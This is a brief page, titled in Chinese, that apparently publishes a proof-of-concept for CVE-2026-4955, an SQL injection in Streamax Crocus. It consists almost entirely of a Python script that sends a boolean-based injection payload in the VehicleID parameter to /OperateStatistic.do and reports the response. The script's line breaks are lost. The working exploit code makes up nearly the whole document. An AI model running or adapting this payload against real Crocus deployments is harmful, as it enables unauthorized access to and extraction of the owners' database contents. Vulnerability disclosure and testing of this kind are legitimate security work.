CVE-2026-4955 Streamax Crocus SQL注入漏洞

import requests def check_sqli(target_url): """ Proof of Concept for CVE-2026-4955 Checks for SQL Injection in VehicleID parameter """ # Target endpoint based on vulnerability description endpoint = "/OperateStatistic.do" full_url = f"{target_url}{endpoint}" # Simple boolean-based SQL injection payload # This payload attempts to make the query evaluate to true payload = "1' AND '1'='1" params = { "VehicleID": payload } try: print(f"[+] Sending request to {full_url}...") response = requests.get(full_url, params=params, timeout=10) # Analyze response (Logic depends on application behavior) if response.status_code == 200: print(f"[+] Request successful. Status Code: {response.status_code}") print(f"[+] Response length: {len(response.text)}") print("[!] Further analysis required to confirm data exfiltration.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target IP/Domain target = "http://192.168.1.100" check_sqli(target)